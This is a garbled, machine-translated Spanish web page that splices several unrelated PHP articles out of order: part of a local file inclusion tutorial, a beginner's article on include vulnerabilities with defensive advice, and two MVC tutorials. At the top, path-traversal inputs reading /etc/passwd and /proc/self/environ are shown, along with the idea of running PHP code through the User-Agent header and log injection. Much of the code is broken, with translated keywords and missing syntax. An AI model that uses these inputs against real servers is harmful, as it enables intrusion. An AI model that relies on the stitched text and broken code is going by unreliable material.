    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Versión/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [correo electrónico protegido] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Preste atención a HTTP_USER_AGENT. En su lugar, puede sustituir el código PHP correcto, que se ejecutará en un servidor remoto.

    Grabado e inyección de registros al incluir archivos localmente

    Desafortunadamente, en los últimos Versiones de apache este método ya no funciona.

    Su esencia radica en el hecho de que el código del atacante se inyecta en los registros del servidor web. Esto se puede hacer reemplazando User-Agent o incluso simplemente pasándolo en un parámetro GET.

    Inyección estática de un archivo remoto.

    Un ejemplo de estática incluye:

    Puedes utilizar una inclusión estática en situaciones muy exóticas. Para inyectar código malicioso es necesario realizar un ataque man-in-the-middle entre dos servidores: uno de los cuales aloja la aplicación web mediante la inclusión y el segundo aloja el archivo utilizado para la inclusión.

    Conclusión

    La mayoría de los ejemplos proporcionados aquí requieren ciertas condiciones, que se reducen a una configuración incorrecta del servidor. Aquellos. En pocas palabras, no todos los métodos que se muestran aquí funcionarán en la mayoría de los servidores web.

    En este artículo, le contaré sobre una de las vulnerabilidades más comunes que se encuentran en los scripts PHP: el "error" de inclusión. Aprenderá tanto el principio de funcionamiento como algunas formas de eliminar esta vulnerabilidad.

    ¡¡¡Atención!!! ¡Toda la información presentada en este artículo es solo para fines informativos! ¡El autor no asume ninguna responsabilidad por su uso malicioso!

    La vulnerabilidad php-include es uno de los "agujeros" más famosos, pero también el más común, que se encuentran en los scripts PHP en la actualidad. Ocurre cuando, por falta de atención, desconocimiento o por alguna otra razón que sólo él conoce, el programador permite que los datos pasados ​​al script en forma de parámetros se utilicen sin cheque adicional(dichos datos también se denominan "etiquetados") como parámetro mediante la función de inclusión. Para comprender mejor el principio de funcionamiento de esta vulnerabilidad, es necesario tener cierta comprensión de la función mencionada anteriormente.

    La función PHP incluye y también incluye_once

    Esta función se utiliza para conectarse a ejecutando php script de módulos de software adicionales. Además, a diferencia de require, que es similar en propiedades, la función include ejecuta estos módulos directamente en su proceso. En consecuencia, los módulos adjuntos de esta manera no se ejecutarán como scripts separados, sino como partes del script que los conecta. Más precisamente, incluir ejecutará solo la parte del archivo que está encerrada entre especial. etiquetas:

    ""

    Todo lo demás simplemente se genera mediante php como texto. Aquellos. Si conecta un archivo de texto (por ejemplo: /etc/passwd:)) que no contiene las etiquetas especificadas, el intérprete devolverá todo el contenido de este archivo.

    Llamada de ejemplo:

    Como probablemente habrás notado, la función de inclusión tiene solo 1 parámetro ($file), que especifica la ruta y el nombre del archivo del complemento. También vale la pena señalar que en sistemas tipo Unix (dependiendo de configuración de php) como parámetro puede pasar no sólo la ruta y el nombre del archivo, sino también la URL (dirección de Internet) del archivo (!!!).

    Práctica

    Supongamos que lo siguiente está instalado en algún servidor WEB secuencia de comandos php(su URL es http://www.superpupersite.com/index.php):

    Y también muchos módulos de script complementarios diferentes para ello:

    inicio.php
    comentarios.php
    ...

    El autor de este script asumió que todos los visitantes del sitio pasarían pacíficamente de una página a otra haciendo clic en botones, enlaces y otros objetos de control. Y el script, dependiendo del parámetro del archivo pasado, adjuntará uno u otro módulo, generando así varias páginas html (la mayoría de las veces se usa include).

    Ni siquiera podía imaginar que un día (en el frío invierno) un tal curioso Vasya Pupkin entraría en el lugar. ¿Quién, basándose en su curiosidad al mirar estos mismos enlaces, asumiría (aunque todavía no sabe cómo y qué hay realmente allí) que el parámetro del archivo no es más que el nombre y la ruta al archivo y que el script usa el comando include? función (no es sorprendente, porque hoy en día incluir se usa en casi uno de cada tres scripts). Vasya inmediatamente decidió comprobar su suposición de la siguiente manera:

    Vasya cumplió la siguiente petición:

    ¡Y lo hizo! Como era de esperar, en la ventana del navegador vio una lista de archivos y directorios. Más adelante se descubrió el “agujero” y se utilizaron escenarios no menos interesantes, descripción detallada lo cual ocuparía mucho espacio y por estas razones no se publican aquí :) En general, ya sea largo o corto, todo terminó en desfiguración (deformación - sustitución pagina de inicio al tuyo). ¡Qué triste historia!

    control de plagas

    Después de leer todo lo anterior, muchos de ustedes se preguntarán: “¿Existen métodos para combatir esta terrible vulnerabilidad?” “Sí”, respondo con orgullo :) . Éstos son algunos (de ninguna manera todos) de ellos:

    La forma más sencilla, desde el punto de vista de la programación, es convertir la variable $module a un formato numérico (settype($module,"integer"), pero esto requerirá numerar los módulos y también recopilarlos en un directorio ("module1 .php”, “módulo2.php”…”módulo.php”).

    Un método de control de plagas más complejo desde el punto de vista de la implementación :) es la creación de una lista de archivos separada de módulos que se pueden ejecutar. Y dependiendo de si este o aquel módulo está en la lista, ejecuta o tira el error correspondiente (o ejecuta el módulo por defecto, o si quieres asustar al “experimentador” dándole un mensaje de que su dirección está arreglada y para que seca galletas... ).
    Ejemplo:
    switch ($case) // $case - nombre de la variable pasada como parámetro al script
    {
    noticias del caso:
    incluir("noticias.php");
    romper;

    artículos de casos:
    incluir("libro de visitas.php");
    romper;

    ... // etc.
    por defecto:
    incluir("index.php"); // si la variable $case no contiene el valor que se tiene en cuenta arriba, entonces se abre la página principal
    romper;
    }

    El tercer método es intermedio, algo entre el primero y el segundo. Sólo necesita reemplazar todos los caracteres de servicio (""..","/",""), por ejemplo, con guiones. Es cierto que los módulos (¡¡¡solo los módulos ejecutables y nada más deben ubicarse allí!!!) en este caso deben ubicarse en el mismo directorio, pero sus nombres pueden ser palabras normales (por ejemplo, "noticias", "libro de visitas", etc. .).
    Conclusión

    Eso es básicamente todo lo que quería decirte esta vez. La conclusión de todo esto podría ser la siguiente: antes de utilizar los datos recibidos del usuario en sus scripts web, piense si es necesario verificarlos previamente y procesarlos adecuadamente. Esto se aplica no sólo a los campos de datos de formulario transmitidos por el navegador ( obtener métodos y publicar), pero también cookies (un atacante también puede acceder a ellas).

    Muchas personas comienzan a escribir un proyecto para trabajar con una sola tarea, sin implicar que pueda convertirse en un sistema de gestión multiusuario, por ejemplo, contenido o, Dios no lo quiera, producción. Y todo parece genial y genial, todo funciona, hasta que empiezas a comprender que el código que se escribe consiste enteramente en muletas y código duro. El código se mezcla con diseño, consultas y muletas, a veces incluso ilegible. Surge un problema urgente: al agregar nuevas funciones, hay que jugar con este código durante mucho tiempo, recordando "¿qué estaba escrito allí?" y maldicete en el pasado.

    Es posible que incluso hayas oído hablar de patrones de diseño e incluso hayas hojeado estos maravillosos libros:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Técnicas de diseño orientada a objetos. Patrones de diseño";
    • M. Fowler "Arquitectura de aplicaciones de software empresarial".
    Y muchos, impertérritos ante los enormes manuales y documentación, intentaron estudiar cualquiera de los marcos modernos y, ante la complejidad de su comprensión (debido a la presencia de muchos conceptos arquitectónicos hábilmente vinculados entre sí), pospusieron el estudio y el uso de herramientas modernas “en un segundo plano”.

    Este artículo será útil principalmente para principiantes. En cualquier caso, espero que en un par de horas pueda hacerse una idea de la implementación del patrón MVC, que subyace a todos los marcos web modernos, y también obtener "alimento" para una mayor reflexión sobre "cómo hazlo." Al final del artículo hay una selección de enlaces útiles que también le ayudarán a comprender en qué consisten los frameworks web (además de MVC) y cómo funcionan.

    Es poco probable que los programadores PHP experimentados encuentren algo nuevo en este artículo, ¡pero sus comentarios y comentarios sobre el texto principal serán de gran ayuda! Porque Sin teoría la práctica es imposible, y sin práctica la teoría es inútil, luego primero habrá un poco de teoría y luego pasaremos a la práctica. Si ya está familiarizado con el concepto MVC, puede omitir la sección teórica e ir directamente a la práctica.

    1. Teoría El patrón MVC describe una forma sencilla de estructurar una aplicación, cuyo propósito es separar la lógica empresarial de la interfaz de usuario. Como resultado, la aplicación es más fácil de escalar, probar, mantener y, por supuesto, implementar.

    Veamos el diagrama conceptual del patrón MVC (en mi opinión, este es el diagrama más exitoso que he visto):

    En la arquitectura MVC, el modelo proporciona los datos y las reglas de lógica empresarial, la vista es responsable de la interfaz de usuario y el controlador proporciona la interacción entre el modelo y la vista.

    Un flujo típico de una aplicación MVC se puede describir de la siguiente manera:

  • Cuando un usuario visita un recurso web, el script de inicialización crea una instancia de la aplicación y la inicia para su ejecución.
    Esto muestra una vista de, digamos, la página principal del sitio.
  • La aplicación recibe una solicitud del usuario y determina el controlador y la acción solicitados. En el caso de la página principal, se realiza la acción predeterminada ( índice).
  • La aplicación crea una instancia del controlador y ejecuta el método de acción,
    que, por ejemplo, contiene llamadas a modelos que leen información de la base de datos.
  • Luego de esto, la acción genera una vista con los datos obtenidos del modelo y muestra el resultado al usuario.
  • Modelo: contiene la lógica empresarial de la aplicación e incluye métodos para recuperar (pueden ser métodos ORM), procesar (por ejemplo, reglas de validación) y proporcionar datos específicos, lo que a menudo lo hace muy denso, lo cual es bastante normal.
    El modelo no debe interactuar directamente con el usuario. Todas las variables relacionadas con la solicitud del usuario deben procesarse en el controlador.
    El modelo no debe generar HTML u otro código de visualización que pueda cambiar según las necesidades del usuario. Dicho código debe procesarse en vistas.
    El mismo modelo, por ejemplo: el modelo de autenticación de usuario se puede utilizar tanto en la parte de usuario como en la parte administrativa de la aplicación. En este caso, puede mover el código general a una clase separada y heredar de él, definiendo métodos específicos para subaplicaciones en los descendientes.

    Ver: se utiliza para especificar la visualización externa de los datos recibidos del controlador y el modelo.
    Las vistas contienen marcado HTML y pequeñas inserciones de código PHP para recorrer, formatear y mostrar datos.
    No debe acceder directamente a la base de datos. Esto es lo que deberían hacer los modelos.
    No debería funcionar con datos obtenidos a partir de una solicitud de usuario. Esta tarea debe ser realizada por el controlador.
    Puede acceder directamente a las propiedades y métodos de un controlador o modelos para obtener datos listos para la salida.
    Las vistas generalmente se dividen en una plantilla general, que contiene marcas comunes a todas las páginas (por ejemplo, un encabezado y pie de página) y partes de la plantilla que se utilizan para mostrar la salida de datos del modelo o mostrar formularios de entrada de datos.

    El controlador es el pegamento que conecta modelos, vistas y otros componentes en una aplicación funcional. El responsable del tratamiento es responsable de procesar las solicitudes de los usuarios. El controlador no debe contener consultas SQL. Es mejor mantenerlos en modelos. El controlador no debe contener HTML ni otro tipo de marcado. Vale la pena ponerlo a la vista.
    En una aplicación MVC bien diseñada, los controladores suelen ser muy delgados y contienen sólo unas pocas docenas de líneas de código. No se puede decir lo mismo de los Inspectores Gordos Estúpidos (SFC) en CMS Joomla. La lógica del controlador es bastante típica y la mayor parte se transfiere a clases base.
    Los modelos, por el contrario, son muy gruesos y contienen la mayor parte del código relacionado con el procesamiento de datos, porque La estructura de datos y la lógica empresarial que contiene suelen ser bastante específicas de una aplicación en particular.

    1.1. Controlador frontal y controlador de página En la mayoría de los casos, la interacción del usuario con una aplicación web se produce haciendo clic en enlaces. Mire ahora la barra de direcciones de su navegador: recibió este texto desde este enlace. Otros enlaces, como los que se encuentran en el lado derecho de esta página, le proporcionarán contenido diferente. Por tanto, el enlace representa un comando específico para la aplicación web.

    Espero que ya hayas notado que diferentes sitios pueden tener formatos completamente diferentes para construir la barra de direcciones. Cada formato puede mostrar la arquitectura de una aplicación web. Aunque no siempre es así, en la mayoría de los casos es un hecho claro.

    Consideremos dos opciones para la barra de direcciones, que muestran algo de texto y un perfil de usuario.

    Primera opción:

  • www.ejemplo.com/article.php?id=3
  • www.ejemplo.com/user.php?id=4
  • Aquí, cada script es responsable de ejecutar un comando específico.

    Segunda opción:

  • www.ejemplo.com/index.php?article=3
  • www.ejemplo.com/index.php?user=4
  • Y aquí todas las llamadas ocurren en un script index.php.

    Puede ver el enfoque de múltiples puntos de contacto en los foros de phpBB. El foro se ve a través del script viewforum.php, el tema se ve a través de viewtopic.php, etc. El segundo enfoque, al que se accede a través de un único archivo de script físico, se puede ver en mi CMS MODX favorito, donde todas las llamadas pasan por index.php.

    Estos dos enfoques son completamente diferentes. El primero es típico del patrón Page Controller y el segundo enfoque lo implementa el patrón Front Controller. El controlador de página es bueno para sitios con una lógica bastante simple. A su vez, el controlador de solicitudes consolida todas las actividades de procesamiento de solicitudes en un solo lugar, lo que le brinda capacidades adicionales que pueden permitirle implementar tareas más complejas que las que normalmente resuelve el controlador de páginas. No entraré en detalles de la implementación del controlador de página, solo diré que en la parte práctica será el controlador de solicitudes (algo similar) el que se desarrollará.

    1.2. Enrutamiento de URL El enrutamiento de URL le permite configurar su aplicación para aceptar solicitudes de URL que no coinciden. archivos reales aplicaciones, así como el uso de CNC, que son semánticamente significativos para los usuarios y preferidos para la optimización de motores de búsqueda.

    Por ejemplo, para página normal, al mostrar un formulario de comentarios, la URL podría verse así:
    http://www.example.com/contacts.php?action=feedback

    Código de procesamiento aproximado en este caso:
    switch ($_GET ["acción" ]) (caso "acerca de": require_once ("acerca de.php"); // salto de página "Acerca de nosotros"; caso "contactos": require_once ("contactos.php"); // interrupción de la página "Contactos"; caso "comentarios": require_once ("feedback.php"); // interrupción de la página "comentarios"; predeterminado: require_once ("page404.php");
    Creo que casi todo el mundo ha hecho esto antes.

    Con un motor de enrutamiento de URL, puede configurar su aplicación para aceptar solicitudes como esta para mostrar la misma información:
    http://www.example.com/contacts/feedback

    Aquí los contactos representan el controlador y los comentarios son el método del controlador de contactos que muestra el formulario de comentarios, etc. Volveremos a esta cuestión en la parte práctica.

    También vale la pena saber que los enrutadores de muchos marcos web le permiten crear rutas URL personalizadas (especifique qué significa cada parte de la URL) y reglas para procesarlas.
    Ahora tenemos suficientes conocimientos teóricos para pasar a la práctica.

    2. Practica Primero, creemos la siguiente estructura de archivos y carpetas:


    De cara al futuro, diré que las clases principales Modelo, Vista y Controlador se almacenarán en la carpeta principal.
    Sus hijos se almacenarán en los directorios de controladores, modelos y vistas. El archivo index.php es el punto de entrada a la aplicación. El archivo bootstrap.php inicia la carga de la aplicación, conectando todos los módulos necesarios, etc.

    Iremos de forma secuencial; Abramos el archivo index.php y rellénelo con el siguiente código:
    ini_set("display_errors", 1); require_once "aplicación/bootstrap.php";
    No debería haber ninguna pregunta aquí.

    A continuación, vayamos inmediatamente al archivo bootstrap.php:
    require_once "núcleo/model.php"; require_once "núcleo/view.php"; require_once "núcleo/controlador.php"; require_once "núcleo/ruta.php"; Ruta::inicio(); //iniciar el enrutador
    Las primeras tres líneas incluirán archivos del kernel que actualmente no existen. Las últimas líneas incluyen el archivo con la clase de enrutador y lo lanzan para su ejecución llamando al método de inicio estático.

    2.1. Implementación de un enrutador URL Por ahora, desviémonos de la implementación del patrón MVC y centrémonos en el enrutamiento. El primer paso que debemos hacer es escribir el siguiente código en .htaccess:
    RewriteEngine en RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Este código redirigirá todo el procesamiento de la página a index.php, que es lo que necesitamos. ¿Recuerdas que en la primera parte hablamos del Front Controller?

    Colocaremos la ruta en un archivo separado route.php en el directorio principal. En este archivo describiremos la clase Ruta, que ejecutará métodos de controlador, que a su vez generarán la vista de página.

    Contenido del archivo route.php

    class Ruta ( función estática inicio () ( // controlador y acción predeterminada $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // obtener el nombre del controlador if (!empty ($routes )) ( $controller_name = $routes ; ) // obtiene el nombre de la acción if (!empty ($routes )) ( $action_name = $routes ; ) // agrega prefijos $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name // conecta el archivo con la clase de modelo (puede que no haya un archivo de modelo) $model_file = strtolower; ($model_name ".php"; $model_path = "aplicación/modelos/" .$model_file; if (file_exists($model_path)) (incluye "aplicación/modelos/" .$model_file;) // conecta el archivo. con la clase de controlador $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (incluye "application/controllers/" .$controller_file ;


    ) else ( /* sería correcto lanzar una excepción aquí, pero para simplificar las cosas, redireccionaremos inmediatamente a la página 404 */ Route::ErrorPage404(); ) // crea un controlador $controller = new $controller_name ;

    $acción = $nombre_acción;
    if (method_exists($controller, $action)) ( // llamar a la acción del controlador $controller ->$action (); ) else ( // aquí también sería más prudente lanzar una excepción Route::ErrorPage404(); ) ) función ErrorPage404 ( ) ($host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; encabezado("HTTP/1.1 404 no encontrado" ); encabezado("Estado: 404 no encontrado" ) ; encabezado(" Ubicación:".$host ."404" ) );

    dirección completa por el cual el usuario contactó. Por ejemplo: ejemplo.ru/contacts/feedback Usando la función Observo que la clase implementa una lógica muy simplificada (a pesar del voluminoso código) y puede incluso tener problemas de seguridad. Esto se hizo intencionalmente, porque... Escribir una clase de enrutamiento completa merece al menos un artículo aparte. Veamos los puntos principales... La dirección se divide en componentes. Como resultado, obtenemos el nombre del controlador, en el ejemplo dado, este es controlador.

    contactos

    Así, al dirigirse a, por ejemplo, la dirección:
    ejemplo.com/portfolio
    El elemento de matriz global $_SERVER["REQUEST_URI"] contiene la dirección completa a la que se comunicó el usuario.
    ejemplo.com/portfolio/index
    Por ejemplo: ejemplo.ru/contacts/feedback

  • incluirá el archivo model_portfolio.php de la carpeta de modelos, que contiene la clase Model_Portfolio;
  • incluirá el archivo controlador_portfolio.php de la carpeta de controladores, que contiene la clase Controlador_Portfolio;
  • y el nombre de la acción, en nuestro caso -
  • o
    ejemplo.com/ufo
    El enrutador realizará las siguientes acciones:
    ejemplo.com/404
    Lo mismo ocurrirá si el usuario accede a una acción que no está descrita en el responsable del tratamiento.2.2. Volvamos a la implementación de MVC. Vayamos a la carpeta principal y agreguemos tres archivos más al archivo route.php: model.php, view.php y controlador.php.


    Permítanme recordarles que contendrán clases base, que ahora comenzaremos a escribir.

    Contenido del archivo model.php
    Modelo de clase (función pública get_data () ())
    La clase modelo contiene un único método de recuperación de datos vacío, que se anulará en las clases descendientes. Cuando creemos clases descendientes todo quedará más claro.

    Contenido del archivo view.php
    class View ( //public $template_view; // aquí puede especificar la vista general predeterminada. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convertir matriz elementos en variables extract($data); */ incluyen "aplicación/vistas/".$template_view;
    No es difícil adivinar que el método generar destinado a formar una vista. Se le pasan los siguientes parámetros:

  • $content_file - vistas que muestran el contenido de la página;
  • $template_file — plantilla común a todas las páginas;
  • $data es una matriz que contiene elementos de contenido de la página. Generalmente se completa en el modelo.
  • La función de inclusión conecta dinámicamente una plantilla general (vista) dentro de la cual se incrustará la vista.
    para mostrar el contenido de una página específica.

    En nuestro caso, la plantilla general contendrá encabezado, menú, barra lateral y pie de página, y el contenido de la página estará contenido en un formulario separado. Nuevamente, esto se hace por simplicidad.

    Contenido del archivo controlador.php
    controlador de clase (público $modelo; público $vista; función __construct () ( $this ->vista = nueva Vista(); ) ) )
    Método índice_acción- esta es la acción llamada por defecto; la anularemos al implementar clases descendientes.

    2.3. Implementación de las clases descendientes Modelo y Controlador, creación de Vistas ¡Ahora comienza la diversión! Nuestro sitio web de tarjeta de presentación constará de las siguientes páginas:
  • Hogar
  • Servicios
  • Cartera
  • Contactos
  • Y también - la página "404"
  • Cada página tiene su propio controlador de la carpeta de controladores y una vista de la carpeta de vistas. Algunas páginas pueden utilizar un modelo o modelos de la carpeta de modelos.


    En la figura anterior, el archivo template_view.php está resaltado por separado; esta es una plantilla que contiene marcas comunes a todas las páginas. En el caso más sencillo podría verse así:
    Hogar
    Para darle al sitio un aspecto presentable, creamos una plantilla CSS y la integramos en nuestro sitio cambiando la estructura del marcado HTML y conectando archivos CSS y JavaScript:

    Al final del artículo, en la sección “Resultado”, hay un enlace a un repositorio de GitHub con un proyecto en el que se han dado pasos para integrar una plantilla sencilla.

    2.3.1. Creando la página principal Comencemos con el controlador controlador_main.php, aquí está su código:
    clase Controller_Main extiende el controlador (función action_index () ($this ->view->generate("main_view.php", "template_view.php"); ) )
    en método generar instancia de la clase Ver, se pasan los nombres de los archivos de la plantilla general y la vista con el contenido de la página.
    Además de la acción de índice, el controlador puede, por supuesto, contener otras acciones.

    Revisamos el archivo de vista general anteriormente. Considere el archivo de contenido main_view.php:
    ¡Bienvenido! OLOLOSHA TEAM es un equipo de especialistas de primer nivel en el campo del desarrollo de sitios web con muchos años de experiencia en la recolección de máscaras mexicanas, estatuas de bronce y piedra de la India y Ceilán, bajorrelieves y esculturas creadas por maestros de África Ecuatorial durante cinco o seis siglos. atrás...
    Contiene marcado simple sin llamadas PHP.
    Para mostrar la página principal, puede utilizar una de las siguientes direcciones:

    • métodos de bibliotecas que implementan la abstracción de datos. Por ejemplo, métodos de la biblioteca PEAR MDB2;
    • métodos ORM;
    • métodos para trabajar con NoSQL;
    • etc.
    • Para simplificar, aquí no utilizaremos consultas SQL ni declaraciones ORM. En su lugar, emularemos datos reales y devolveremos inmediatamente una serie de resultados.
      Coloque el archivo de modelo model_portfolio.php en la carpeta de modelos. Aquí tenéis su contenido:
      clase Model_Portfolio extiende el modelo ( función pública get_data () ( return array (array ("Año" => "2012", "Sitio" => "http://DunkelBeer.ru" , "Descripción" => "Sitio promocional de cerveza oscura Dunkel del fabricante alemán Löwenbraü producida en Rusia por la empresa cervecera "SUN InBev." ), matriz ("Año" => "2012", "Sitio" => "http://ZopoMobile.ru" , "Descripción " => "Catálogo en ruso de teléfonos chinos de Zopo basados ​​en el sistema operativo Android y accesorios para ellos."), // todo ) )

      La clase de controlador del modelo está contenida en el archivo controlador_portfolio.php, aquí está su código:
      clase Controller_Portfolio extiende Controlador ( función __construct () ($this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ($data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php", "template_view.php", $datos));
      a una variable datos se escribe la matriz devuelta por el método obtener_datos que vimos antes.
      Luego, esta variable se pasa como parámetro del método. generar, que también contiene: el nombre del archivo con la plantilla general y el nombre del archivo que contiene la vista con el contenido de la página.

      La vista que contiene el contenido de la página se encuentra en el archivo portfolio_view.php.
      Cartera

      Todos los proyectos de la siguiente tabla son ficticios, así que ni siquiera intentes seguir los enlaces proporcionados.

      vamos arreglemos el trabajo de este escenario línea por línea.

      Include_once("inc/C_View.php"); include_once("inc/C_Edit.php");

      Las dos primeras líneas incluyen archivos de controlador para las páginas "Lectura" y "Edición".

      Cambiar ($_GET["c"])

      Aquí se analiza el parámetro GET denominado c:

      Caso "editar": $controlador = nuevo C_Edit();

      romper; Si este parámetro

      almacena la cadena "editar", luego a la variable $controller se le asigna un objeto de la clase C_Edit, cuya descripción se encuentra en el archivo inc/C_Edit.php, incluido al principio del script.

      Predeterminado: $controlador = nuevo C_View();

      Aquí a la variable $controller se le asigna una instancia de la clase C_View.

      Finalmente, la última línea llama al método. Pedido() para el objeto creado:

      $controlador->Solicitud();

      Tenga en cuenta que aquí podemos ver un ejemplo típico de polimorfismo. La variable $controller puede almacenar tanto una instancia de la clase C_Edit como una instancia de la clase C_View. Por lo tanto, no podemos conocer de antemano el método. Pedido() qué clase se llamará en el script. Lo único que importa es que funcionamiento correcto script, ambas clases deben tener este método.

      En general, la tarea del punto de entrada es simple: transferir el control a uno de los controladores. Cuál se determina utilizando el parámetro de solicitud GET denominado c.

      Jerarquía del controlador

      Comencemos a diseñar el sistema y primero determinemos qué controladores estarán presentes en él. En el archivo index.php puede ver que el sistema tiene al menos dos controladores, representados como clases C_Edit y C_View. La tarea de la clase C_Edit es organizar la visualización de la página "Edición" y la clase C_View es mostrar la página "Lectura". El procesamiento de los parámetros de entrada y la salida de la página está encapsulado dentro del método. Pedido(), que debe estar presente en las clases C_View y C_Edit. Esto podría sugerir la creación de una clase principal común para los dos controladores. De hecho, la implementación de C_View será muy parecida a la de C_Edit, por lo que desacoplar la clase de controlador base es un paso útil.

      Así, llegamos a la idea de la necesidad de crear una clase de controlador base. Llamémoslo C_Base. Será abstracto y no tendrá implementaciones concretas. Lo presentamos para que otras clases de controlador hereden de él. La clase C_Base almacenará propiedades y métodos básicos específicos de cada controlador de un sitio determinado.

      reflexionemos¿Qué parámetros son comunes a cada página del sitio? En primer lugar, este es el nombre del sitio. En segundo lugar, el texto ubicado al final de cada página. Esto también incluye elementos de menú que son los mismos para cada página del sitio. Para resumir, podemos decir que el controlador C_Base es responsable de plantilla básica sitio.

      Obviamente cada controlador contendrá un método Pedido(), responsable de procesar la solicitud. Por lo tanto, su declaración también se puede colocar en la clase C_Base y hacerla abstracta para que se requieran clases descendientes para implementar este método.

      Quizás tenga sentido destacar algunos más propiedades generales o métodos para todos los controladores de sitio. Piénselo usted mismo. Destacamos que C_Base es una clase base que combina todo elementos comunes cada controlador de un sitio en particular.

      Pero intentemos ir aún más lejos y pensar: ¿es posible crear una clase de controlador que encapsule la lógica sin cambios para cualquier controlador en cualquier sitio? Ya no podremos transferir la propiedad del nombre del sitio a dicha clase, pero, por ejemplo, el método Pedido(), responsable de procesar la solicitud y generar la página resultante, debe estar invariablemente presente en cualquier controlador.

      No nos detengamos y demostremos la jerarquía de clases de controladores, que le sugerimos que tome como modelo:

      Este diagrama se utiliza en términos descriptivos. lenguaje UML y se llama diagrama de clases. Cada rectángulo corresponde a una clase separada. En la parte superior del rectángulo, el nombre de la clase está resaltado en negrita. Las flechas indican relaciones de herencia. Las propiedades de una clase están en cursiva y sus métodos están en cursiva. El signo – delante de propiedades o métodos indica que la propiedad o método está declarado con el modificador privado, el signo # corresponde al modificador protegido y + corresponde al modificador público.

      Clase de controlador

      El controlador es clase base controlador, que está diseñado para encapsular los elementos más comunes característicos de los controladores de cualquier sitio. Aquí hemos incluido una serie de funciones auxiliares:

    • Plantilla()- sustituir un conjunto de variables en la plantilla y mostrarlas en la pantalla;
    • esObtener()- comprobar si se completó una solicitud GET;
    • Es publicación()- para comprobar si se completó la solicitud POST.
    • La clase Controlador contiene una declaración de un método que ya conocemos. Pedido().
      Veamos su implementación:

      Solicitud de función pública() ( $this->OnInput(); $this->OnOutput(); )

      en método Pedido() Dividimos el procesamiento de solicitudes en dos partes: procesamiento de datos de entrada (método En entrada()) y formación de la página resultante (método En salida()). Esta división es bastante conveniente y proponemos utilizarla en proyectos futuros. Métodos En entrada() Y En salida() debe ser anulado en clases secundarias.

      Clase C_Base

      C_Base es el controlador base para nuestro sitio específico. En la mayoría de los casos, necesita un controlador básico para todo el sitio. La clase C_Base es responsable de la base. plantilla html, puede definir variables básicas para todo el sitio, por ejemplo, el nombre del sitio.

      Además, en la clase C_Base necesitas anular los métodos. En entrada() Y En salida() e incluir en ellos acciones comunes a todos los responsables del sitio. Los controladores que heredarán de la clase C_Base anularán estos métodos, pero podrán llamar a los métodos principales usando palabra clave padre.

      Proponemos la siguiente implementación de los métodos. En entrada() Y En salida() en la clase C_Base.

      Función protegida OnInput() ( $this->title = " pagina de inicio"; $this->content = ""; ) función protegida OnOutput() ( $vars = array("title" => $this->title,"content" => $this->content); $page = $ this->Plantilla("principal", $vars); echo $página)

      en método En entrada() podemos inicializar variables de plantilla valores predeterminados. en método En salida() Primero creamos una matriz de variables de plantilla y luego usamos el método. Plantilla(), que se define en la clase Controlador y es responsable de la sustitución de variables en la plantilla. Su implementación depende de usted. Según nuestra idea, el método Plantilla() toma dos parámetros: el primero de ellos es el nombre de la plantilla que se va a conectar, el segundo parámetro es una matriz de variables que deben sustituirse en la plantilla. Finalmente, la página generada se muestra en la pantalla. Como puedes imaginar, esta es la última operación que debe realizar el script. Por lo tanto la función En salida() La clase C_Base debe llamarse al final de nuestro script PHP.

      Controladores C_View y C_Edit

      C_View y C_Edit - controladores paginas especificas sitio, anulan los métodos En entrada() Y En salida(), pero también transfiere el control al controlador C_Base.

      Veamos una implementación de ejemplo de estos métodos para la clase C_View.

      Función protegida OnInput() ( padre::OnInput(); $this->title = $this->title . " :: Leyendo"; $this->text = $this->getText(); ) función protegida OnOutput( ) ( $vars = array("texto" => $this->text); $this->content = $this->Template("theme/v_view.php", $vars); parent::OnOutput(); )

      en método En entrada() en primer lugar hay una llamada método principal, luego determina el título de la página y recupera su texto usando el método getText(). La implementación específica del método getText() no es importante para nosotros ahora. Puede recibir texto de una base de datos o un archivo, o incluso devolver alguna constante predefinida. Lo importante es que como resultado almacenamos el texto en algún campo de clase.

      Método En salida() comienza con la formación de una matriz, que se pasa a la función de generación de plantillas Plantilla(). El resultado de su ejecución se almacena en el campo de contenido. Entonces se llama al método padre. En salida(). Volver al texto del método En salida() clase C_Base y tenga en cuenta que en realidad usa el valor del campo de contenido, que formamos en el método actual En salida() clase C_View.

      Si miras el código nuevamente, notarás que llamar a los métodos principales En entrada() Y En salida() tipo de marco del bucle de procesamiento de solicitudes en la clase C_View.

      Ciclo de procesamiento de solicitudes

      Ahora veamos la vista general del procesamiento de solicitudes que recibimos. La ejecución del script comienza desde el archivo index.php. Aquí se selecciona el controlador deseado y se le transfiere el control de la llamada al método. Pedido().

      Este método inicia dos fases de procesamiento de solicitudes:

    • Llamando al modelo (OnInput());
    • Generación de HTML (OnOutput()).
    • La primera fase debería funcionar en la siguiente secuencia:
    • Controlador básico (C_Base);
